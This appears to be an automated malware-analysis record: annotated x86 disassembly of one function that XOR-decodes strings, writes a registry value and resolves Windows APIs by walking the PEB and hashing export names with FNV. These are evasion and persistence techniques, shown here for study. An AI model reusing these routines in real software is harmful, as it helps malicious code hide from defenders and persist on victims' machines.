Function at 0x402a90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
mov eax, dword [0x4a4314]
xor eax, esp
mov dword [esp + 0x64], eax
movups xmm0, xmmword [0x49ecd0]
mov ax, word [0x49ece8]
push esi
push edi
mov edi, edx
mov word [esp + 0x58], ax
mov al, byte [0x49ecea]
xor edx, edx
cmp dword [0x4a5684], 2
mov esi, ecx
movups xmmword [esp + 0x40], xmm0
mov dword [esp + 0x1c], edi
movq xmm0, qword [0x49ece0]
movq qword [esp + 0x50], xmm0
mov byte [esp + 0x5a], al
mov dword [esp + 0x10], edx
jl 0x402c30
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x30], xmm0
mov ecx, dword [esp + 0x30]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x40]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x40], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x44]
pxor xmm1, xmm0
movd dword [esp + edx + 0x44], xmm1
add edx, 8
cmp edx, 0x18
jl 0x402b30
mov dword [esp + 0x10], edx
cmp edx, 0x1b
jge 0x402c60
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x1b
jl 0x402c30
movq xmm0, qword [0x49e5d4]
xor edx, edx
mov al, byte [0x49e5dc]
movq qword [esp + 0x24], xmm0
mov byte [esp + 0x2c], al
mov dword [esp + 0x10], edx
nop dword [eax]
mov eax, 0x446f8657
mul edx
mov eax, dword [esp + 0x10]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 0x10]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esp + edx + 0x24], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 9
jl 0x402c80
movq xmm0, qword [0x49ea78]
xor edx, edx
mov al, byte [0x49ea80]
movq qword [esp + 0x30], xmm0
mov byte [esp + 0x38], al
mov dword [esp + 0x10], edx
mov eax, 0x446f8657
mul edx
mov eax, dword [esp + 0x10]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 0x10]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esp + edx + 0x30], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 9
jl 0x402cd0
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [esp + 0x5c]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402d30
sub ecx, edx
lea eax, [ecx + 1]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [esp + 0x2c]
push 1
push 0
push eax
push dword [esp + 0x24]
call esi
test eax, eax
je 0x402e10
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x14], ecx
cmp ecx, esi
je 0x402dd8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x402dd8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x20], ecx
dec edi
mov esi, 0xfada83e0
mov cl, byte [edx]
inc edx
test cl, cl
je 0x402dcd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x402db0
cmp esi, 0xc19dfc2d
je 0x402ddc
mov ecx, dword [esp + 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x402d97
mov eax, dword [eax]
jmp 0x402d70
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
push dword [esp + 0x10]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [esp + 0x1c]
nop dword [eax]
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402e15
sub ecx, edx
lea eax, [ecx + 1]
push eax
push edi
push 1
push 0
lea eax, [esp + 0x40]
push eax
push dword [esp + 0x24]
call esi
test eax, eax
je 0x402ee0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x18], ecx
cmp ecx, esi
je 0x402eb8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x402eb8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x3575988a
mov cl, byte [edx]
inc edx
test cl, cl
je 0x402ead
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x402e90
cmp esi, 0xa22dc073
je 0x402ebc
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x402e70
mov eax, dword [eax]
jmp 0x402e46
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push dword [esp + 0x10]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [esp + 0x14], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [esp + 0x18], ecx
cmp ecx, edx
je 0x402f58
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x402f58
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [esp + 0x1c], ecx
mov esi, 0x7186ca24
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x402f4d
nop
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x402f30
cmp esi, 0xf6414949
je 0x402f5c
mov ecx, dword [esp + 0x1c]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x402f17
mov eax, dword [eax]
jmp 0x402ef0
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push dword [esp + 0x10]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
xor ecx, esp
call fcn.0046a386
mov esp, ebp
pop ebp
ret